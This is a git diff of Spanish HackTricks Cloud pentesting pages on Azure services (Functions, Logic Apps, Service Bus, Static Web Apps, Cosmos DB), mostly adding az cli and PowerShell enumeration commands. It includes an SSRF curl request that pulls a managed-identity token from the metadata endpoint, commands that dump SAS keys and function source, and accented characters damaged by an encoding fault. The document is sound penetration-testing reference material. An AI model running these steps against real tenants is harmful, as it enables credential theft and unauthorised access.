diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
index 8b48d3275..4770bf1ec 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
@@ -203,7 +203,7 @@ print("Document inserted.")
{% endcode %}
### MongoDB
-La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregaci贸n, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El punto final del servicio generalmente sigue este formato:
+La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregaci贸n, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El endpoint del servicio generalmente sigue este formato:
{% code overflow="wrap" %}
```bash
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name --database-name
az cosmosdb mongodb role definition list --account-name --resource-group
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name --resource-group
-
```
{% endcode %}
{% endtab %}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
index 832e6c77b..4b04083b0 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
@@ -30,7 +30,7 @@ Adem谩s, al modificar el c贸digo dentro del bucket (en los diferentes formatos e
Tambi茅n es posible encontrar las **claves maestra y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **``** en los archivos JSON que puedes encontrar dentro.
-Ten en cuenta que las Functions tambi茅n permiten almacenar el c贸digo en una ubicaci贸n remota simplemente indicando la URL a la misma.
+Ten en cuenta que Functions tambi茅n permiten almacenar el c贸digo en una ubicaci贸n remota simplemente indicando la URL a la misma.
### Networking
@@ -56,9 +56,9 @@ En una **funci贸n de Windows** usando NodeJS, el c贸digo se encontraba en **`C:\
### **Identidades Gestionadas & Metadatos**
-Al igual que en [**VMs**](vms/index.html), las Functions pueden tener **Identidades Gestionadas** de 2 tipos: Asignadas por el sistema y Asignadas por el usuario.
+Al igual que [**VMs**](vms/index.html), las Functions pueden tener **Identidades Gestionadas** de 2 tipos: Asignadas por el sistema y Asignadas por el usuario.
-La **asignada por el sistema** ser谩 una identidad gestionada que **solo la funci贸n** que la tiene asignada podr谩 usar, mientras que las **identidades gestionadas asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podr谩 usar**.
+La **asignada por el sistema** ser谩 una identidad gestionada que **solo la funci贸n** que la tiene asignada podr谩 usar, mientras que las identidades gestionadas **asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podr谩 usar**.
> [!NOTE]
> Al igual que en [**VMs**](vms/index.html), las Functions pueden tener **1 identidad gestionada asignada por el sistema** y **varias asignadas por el usuario**, por lo que siempre es importante intentar encontrar todas ellas si comprometes la funci贸n porque podr铆as ser capaz de escalar privilegios a varias identidades gestionadas desde solo una Function.
@@ -79,7 +79,7 @@ Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identi
Al crear un endpoint dentro de una funci贸n usando un **desencadenador HTTP**, es posible indicar el **nivel de autorizaci贸n de clave de acceso** necesario para activar la funci贸n. Hay tres opciones disponibles:
- **ANONYMOUS**: **Todos** pueden acceder a la funci贸n a trav茅s de la URL.
-- **FUNCTION**: El endpoint solo es accesible para usuarios que utilizan una **clave de funci贸n, host o maestra**.
+- **FUNCTION**: El endpoint solo es accesible para usuarios que usan una **clave de funci贸n, host o maestra**.
- **ADMIN**: El endpoint solo es accesible para usuarios con una **clave maestra**.
**Tipo de claves:**
@@ -96,15 +96,15 @@ Al crear un endpoint dentro de una funci贸n usando un **desencadenador HTTP**, e
### Autenticaci贸n B谩sica
-Al igual que en App Services, las Functions tambi茅n admiten autenticaci贸n b谩sica para conectarse a **SCM** y **FTP** para desplegar c贸digo usando un **nombre de usuario y contrase帽a en una URL** proporcionada por Azure. M谩s informaci贸n al respecto en:
+Al igual que en los App Services, las Functions tambi茅n admiten autenticaci贸n b谩sica para conectarse a **SCM** y **FTP** para desplegar c贸digo usando un **nombre de usuario y contrase帽a en una URL** proporcionada por Azure. M谩s informaci贸n al respecto en:
{{#ref}}
az-app-services.md
{{#endref}}
-### Despliegues Basados en Github
+### Implementaciones Basadas en Github
-Cuando se genera una funci贸n a partir de un repositorio de Github, la consola web de Azure permite **crear autom谩ticamente un flujo de trabajo de Github en un repositorio espec铆fico** para que cada vez que se actualice este repositorio, se actualice el c贸digo de la funci贸n. De hecho, el yaml de Github Action para una funci贸n de python se ve as铆:
+Cuando se genera una funci贸n a partir de un repositorio de Github, la consola web de Azure permite **crear autom谩ticamente un flujo de trabajo de Github en un repositorio espec铆fico**, de modo que cada vez que se actualice este repositorio, se actualice el c贸digo de la funci贸n. De hecho, el yaml de Github Action para una funci贸n de python se ve as铆:
@@ -204,6 +204,10 @@ No todos los planes permiten desplegar contenedores, pero para aquellos que s铆,
Adem谩s, **no se almacenar谩 c贸digo fuente en la** cuenta de almacenamiento relacionada con la funci贸n, ya que no es necesario.
## Enumeraci贸n
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
```bash
# List all the functions
az functionapp list
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.Functions
+
+# Lists all Function Apps in the current subscription or in a specific resource group.
+Get-AzFunctionApp -ResourceGroupName
+
+# Displays the regions where Azure Function Apps are available for deployment.
+Get-AzFunctionAppAvailableLocation
+
+# Retrieves details about Azure Function App plans in a subscription or resource group.
+Get-AzFunctionAppPlan -ResourceGroupName -Name
+
+# Retrieves the app settings for a specific Azure Function App.
+Get-AzFunctionAppSetting -Name -ResourceGroupName
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
## Escalaci贸n de Privilegios
{{#ref}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
index 9ce806eff..4033ef672 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
@@ -30,34 +30,260 @@ Por ejemplo, algo como esto no devolver谩 el token:
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
+### Opciones de alojamiento
+
+Hay varias opciones de alojamiento:
+
+* **Consumo**
+- **Multi-tenant**: proporciona recursos de computaci贸n compartidos, opera en la nube p煤blica y sigue un modelo de precios por operaci贸n. Esto es ideal para cargas de trabajo ligeras y rentables.
+* **Est谩ndar**
+- **Workflow Service Plan**: recursos de computaci贸n dedicados con integraci贸n de VNET para redes y cargos por instancia de plan de servicio de flujo de trabajo. Es adecuado para cargas de trabajo m谩s exigentes que requieren un mayor control.
+- **App Service Environment V3** recursos de computaci贸n dedicados con aislamiento completo y escalabilidad. Tambi茅n se integra con VNET para redes y utiliza un modelo de precios basado en instancias de App Service dentro del entorno. Esto es ideal para aplicaciones a escala empresarial que necesitan un alto aislamiento.
+- **H铆brido** dise帽ado para procesamiento local y soporte multi-nube. Permite recursos de computaci贸n gestionados por el cliente con acceso a la red local y utiliza Kubernetes Event-Driven Autoscaling (KEDA).
+
### Enumeraci贸n
-{{#tabs }}
-{{#tab name="az cli" }}
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
```bash
# List
-az logic workflow list --resource-group --subscription --output table
+az logic workflow list --resource-group
# Get info
-az logic workflow show --name --resource-group --subscription
-# Get Logic App config
-az logic workflow definition show --name --resource-group --subscription
-# Get service ppal used
-az logic workflow identity show --name --resource-group --subscription
-```
-{{#endtab }}
+az logic workflow show --name --resource-group
-{{#tab name="Az PowerSHell" }}
+# Get details of a specific Logic App workflow, including its connections and parameters
+az rest \
+--method GET \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
+--headers "Content-Type=application/json"
+
+# Get details about triggers for a specific Logic App
+az rest --method GET \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
+
+# Get the callback URL for a specific trigger in a Logic App
+az rest --method POST \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
+
+# Get the history of a specific trigger in a Logic App
+az rest --method GET \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
+
+# List all runs of a specific Logic App workflow
+az rest \
+--method GET \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
+--headers "Content-Type=application/json"
+
+# Get all actions within a specific run of a Logic App workflow
+az rest \
+--method GET \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
+--headers "Content-Type=application/json"
+
+# List all versions of a specific Logic App workflow
+az rest \
+--method GET \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
+--headers "Content-Type=application/json"
+
+# Get details of a specific version of a Logic App workflow
+az rest \
+--method GET \
+--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
+--headers "Content-Type=application/json"
+
+az rest \
+--method GET \
+--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
+--headers "Content-Type=application/json"
+
+# List all Logic Apps in the specified resource group
+az logicapp list --resource-group
+
+# Show detailed information about a specific Logic App
+az logicapp show --name --resource-group
+
+# List all application settings for a specific Logic App
+az logicapp config appsettings list --name --resource-group
+```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
```bash
+Get-Command -Module Az.LogicApp
+
# List
Get-AzLogicApp -ResourceGroupName
# Get info
Get-AzLogicApp -ResourceGroupName -Name
-# Get Logic App config
-(Get-AzLogicApp -ResourceGroupName -Name ).Definition | ConvertTo-Json
-# Get service ppal used
-(Get-AzLogicApp -ResourceGroupName -Name ).Identity
-```
-{{#endtab }}
-{{#endtabs }}
-{{#include ../../../banners/hacktricks-training.md}}
+# Get details of a specific Logic App workflow run action
+Get-AzLogicAppRunAction -ResourceGroupName "" -Name "" -RunName ""
+
+# Get the run history for a specific Logic App
+Get-AzLogicAppRunHistory -ResourceGroupName "" -Name ""
+
+# Get details about triggers for a specific Logic App
+Get-AzLogicAppTrigger -ResourceGroupName "" -Name ""
+
+# Get the callback URL for a specific trigger in a Logic App
+Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName "" -TriggerName ""
+
+# Get the history of a specific trigger in a Logic App
+Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName ""
+
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
+
+
+### Cuentas de Integraci贸n
+**Cuentas de Integraci贸n**, son una caracter铆stica de Azure Logic Apps. Las Cuentas de Integraci贸n se utilizan para facilitar integraciones a nivel empresarial al habilitar capacidades avanzadas de B2B, como EDI, AS2 y gesti贸n de esquemas XML. Las Cuentas de Integraci贸n son un contenedor en Azure que almacena los siguientes artefactos utilizados para Logic Apps:
+
+* Esquemas: Gestionar esquemas XML para validar y procesar mensajes en su cuenta de integraci贸n.
+* Mapas: Configurar transformaciones basadas en XSLT para convertir formatos de datos dentro de sus flujos de trabajo de integraci贸n.
+* Ensamblajes: Gestionar ensamblajes de cuentas de integraci贸n para optimizar la l贸gica y el procesamiento de datos.
+* Certificados: Manejar certificados para cifrar y firmar mensajes, asegurando una comunicaci贸n segura.
+* Socios: Gestionar informaci贸n de socios comerciales para transacciones B2B, permitiendo integraciones sin problemas.
+* Acuerdos: Configurar reglas y ajustes para intercambiar datos con socios comerciales (por ejemplo, EDI, AS2).
+* Configuraciones por Lotes: Gestionar configuraciones de procesamiento por lotes para agrupar y procesar mensajes de manera eficiente.
+* RosettaNet PIP: Configurar Procesos de Interfaz de Socios de RosettaNet (PIPs) para estandarizar la comunicaci贸n B2B.
+
+#### Enumeraci贸n
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
+```bash
+# Integration account
+az logic integration-account list --resource-group
+az logic integration-account show --resource-group --name
+az logic integration-account list-callback-url --resource-group --integration-account-name
+
+# Batch-configuration
+az logic integration-account batch-configuration list \
+--resource-group \
+--integration-account-name
+
+az logic integration-account batch-configuration show \
+--resource-group \
+--integration-account-name \
+--batch-configuration-name
+
+# Map
+az logic integration-account map list \
+--resource-group \
+--integration-account
+
+az logic integration-account map show \
+--resource-group \
+--integration-account \
+--map-name
+
+# Partner
+az logic integration-account partner list \
+--resource-group \
+--integration-account
+
+az logic integration-account partner show \
+--resource-group \
+--integration-account \
+--name
+
+# Session
+az logic integration-account session list \
+--resource-group \
+--integration-account
+
+az logic integration-account session show \
+--resource-group \
+--integration-account \
+--name
+
+# Assembly
+# Session
+az logic integration-account assembly list \
+--resource-group \
+--integration-account
+
+az logic integration-account assembly show \
+--resource-group \
+--integration-account \
+--assembly-artifact-name
+
+
+```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.LogicApp
+
+# Retrieve details of an integration account
+Get-AzIntegrationAccount -ResourceGroupName -Name
+
+# Retrieve the callback URL of an integration account
+Get-AzIntegrationAccountCallbackUrl -ResourceGroupName -IntegrationAccountName
+
+# Retrieve details of a specific agreement in an integration account
+Get-AzIntegrationAccountAgreement -ResourceGroupName -IntegrationAccountName -Name
+
+# Retrieve details of a specific assembly in an integration account
+Get-AzIntegrationAccountAssembly -ResourceGroupName -IntegrationAccountName -Name
+
+# Retrieve details of a specific batch configuration in an integration account
+Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName -IntegrationAccountName -Name
+
+# Retrieve details of a specific certificate in an integration account
+Get-AzIntegrationAccountCertificate -ResourceGroupName -IntegrationAccountName -Name
+
+# Retrieve details of a specific map in an integration account
+Get-AzIntegrationAccountMap -ResourceGroupName -IntegrationAccountName -Name
+
+# Retrieve details of a specific partner in an integration account
+Get-AzIntegrationAccountPartner -ResourceGroupName -IntegrationAccountName -Name
+
+# Retrieve details of a specific schema in an integration account
+Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
+
+## Escalaci贸n de Privilegios
+
+Igual que la escalaci贸n de privilegios de las aplicaciones l贸gicas:
+
+{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
+[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
+{% endcontent-ref %}
+
+## Post Explotaci贸n
+
+{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
+[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
+{% endcontent-ref %}
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+Aprende y practica Hacking en GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
+* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
index dc056d028..7b3ca296e 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
@@ -50,6 +50,10 @@ Las Pol铆ticas SAS definen los permisos de acceso para las entidades del espacio
sku, regla de autorizaci贸n,
### Enumeraci贸n
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
```bash
# Queue Enumeration
az servicebus queue list --resource-group --namespace-name
@@ -77,7 +81,59 @@ az servicebus queue authorization-rule list --resource-group -
az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name
az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name
```
-### Escalamiento de Privilegios
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.ServiceBus
+
+# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
+Get-AzServiceBusNamespaceV2 -ResourceGroupName -Name
+
+# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
+Get-AzServiceBusAuthorizationRule -ResourceGroupName -NamespaceName
+
+# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
+Get-AzServiceBusGeoDRConfiguration -ResourceGroupName -NamespaceName
+
+# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
+Get-AzServiceBusKey -ResourceGroupName -NamespaceName -Name
+
+# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
+Get-AzServiceBusMigration -ResourceGroupName -NamespaceName
+
+# Retrieves properties and details about a Service Bus namespace.
+Get-AzServiceBusNamespace -ResourceGroupName -Name
+
+# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
+Get-AzServiceBusNetworkRuleSet -ResourceGroupName -NamespaceName
+
+# Retrieves private endpoint connections for a Service Bus namespace.
+Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName -NamespaceName
+
+# Retrieves private link resources associated with a Service Bus namespace.
+Get-AzServiceBusPrivateLink -ResourceGroupName -NamespaceName
+
+# Retrieves details of a specified queue in a Service Bus namespace.
+Get-AzServiceBusQueue -ResourceGroupName -NamespaceName -Name
+
+# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
+Get-AzServiceBusRule -ResourceGroupName -NamespaceName -TopicName -SubscriptionName
+
+# Retrieves details of subscriptions for a specified Service Bus topic.
+Get-AzServiceBusSubscription -ResourceGroupName -NamespaceName -TopicName
+
+# Retrieves details of a specified topic in a Service Bus namespace.
+Get-AzServiceBusTopic -ResourceGroupName -NamespaceName
+```
+{% endcode %}
+{% endtab %}
+{% endtabs %}
+
+
+### Escalaci贸n de Privilegios
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md
diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
index a82397ecf..35c6e02ef 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
@@ -12,7 +12,7 @@ Azure Static Web Apps es un servicio en la nube para alojar **aplicaciones web e
> Cuando se crea una Aplicaci贸n Est谩tica, puedes elegir la **pol铆tica de autorizaci贸n de despliegue** entre **Token de despliegue** y **Flujo de trabajo de GitHub Actions**.
- **Token de despliegue**: Se genera un token y se utiliza para autenticar el proceso de despliegue. Cualquiera con **este token es suficiente para desplegar una nueva versi贸n de la aplicaci贸n**. Una **Acci贸n de Github se despliega autom谩ticamente** en el repositorio con el token en un secreto para desplegar una nueva versi贸n de la aplicaci贸n cada vez que se actualiza el repositorio.
-- **Flujo de trabajo de GitHub Actions**: En este caso, tambi茅n se despliega una Acci贸n de Github muy similar en el repositorio y el **token tambi茅n se almacena en un secreto**. Sin embargo, esta Acci贸n de Github tiene una diferencia, utiliza la **acci贸n `actions/github-script@v6`** para obtener el IDToken del repositorio y usarlo para desplegar la aplicaci贸n.
+- **Flujo de trabajo de GitHub Actions**: En este caso, tambi茅n se despliega una Acci贸n de Github muy similar en el repositorio y el **token tambi茅n se almacena en un secreto**. Sin embargo, esta Acci贸n de Github tiene una diferencia, utiliza la acci贸n **`actions/github-script@v6`** para obtener el IDToken del repositorio y usarlo para desplegar la aplicaci贸n.
- Incluso si en ambos casos se utiliza la acci贸n **`Azure/static-web-apps-deploy@v1`** con un token en el par谩metro `azure_static_web_apps_api_token`, en este segundo caso, un token aleatorio con un formato v谩lido como `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` es suficiente para desplegar la aplicaci贸n, ya que la autorizaci贸n se realiza con el IDToken en el par谩metro `github_id_token`.
### Autenticaci贸n B谩sica de la Aplicaci贸n Web
@@ -62,7 +62,7 @@ Algunos ejemplos:
}
}
```
-Note c贸mo es posible **proteger una ruta con un rol**, entonces, los usuarios necesitar谩n autenticarse en la aplicaci贸n y se les otorgar谩 ese rol para acceder a la ruta. Tambi茅n es posible **crear invitaciones** otorgando roles espec铆ficos a usuarios espec铆ficos que inicien sesi贸n a trav茅s de EntraID, Facebook, GitHub, Google, Twitter, lo que puede ser 煤til para escalar privilegios dentro de la aplicaci贸n.
+Nota c贸mo es posible **proteger una ruta con un rol**, entonces, los usuarios necesitar谩n autenticarse en la aplicaci贸n y se les otorgar谩 ese rol para acceder a la ruta. Tambi茅n es posible **crear invitaciones** otorgando roles espec铆ficos a usuarios espec铆ficos que inicien sesi贸n a trav茅s de EntraID, Facebook, GitHub, Google, Twitter, lo cual puede ser 煤til para escalar privilegios dentro de la aplicaci贸n.
> [!TIP]
> Tenga en cuenta que es posible configurar la aplicaci贸n para que **los cambios en el archivo `staticwebapp.config.json`** no sean aceptados. En este caso, puede que no sea suficiente con solo cambiar el archivo desde Github, sino tambi茅n **cambiar la configuraci贸n en la aplicaci贸n**.
@@ -71,11 +71,15 @@ La URL de staging tiene este formato: `https://-.
### Identidades Administradas
-Azure Static Web Apps se puede configurar para usar **identidades administradas**, sin embargo, como se menciona en [esta FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), solo se admiten para **extraer secretos de Azure Key Vault con fines de autenticaci贸n, no para acceder a otros recursos de Azure**.
+Azure Static Web Apps se puede configurar para usar **identidades administradas**, sin embargo, como se menciona en [esta FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), solo son compatibles para **extraer secretos de Azure Key Vault con fines de autenticaci贸n, no para acceder a otros recursos de Azure**.
Para m谩s informaci贸n, puede encontrar una gu铆a de Azure sobre c贸mo usar un secreto de vault en una aplicaci贸n est谩tica en https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
## Enumeraci贸n
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -107,12 +111,65 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name --resource-group
```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.Websites
+
+# Retrieves details of a specific Static Web App in the specified resource group.
+Get-AzStaticWebApp -ResourceGroupName -Name
+
+# Retrieves the build details for a specific Static Web App.
+Get-AzStaticWebAppBuild -ResourceGroupName -Name
+
+# Retrieves the application settings for a specific build environment in a Static Web App.
+Get-AzStaticWebAppBuildAppSetting -ResourceGroupName -Name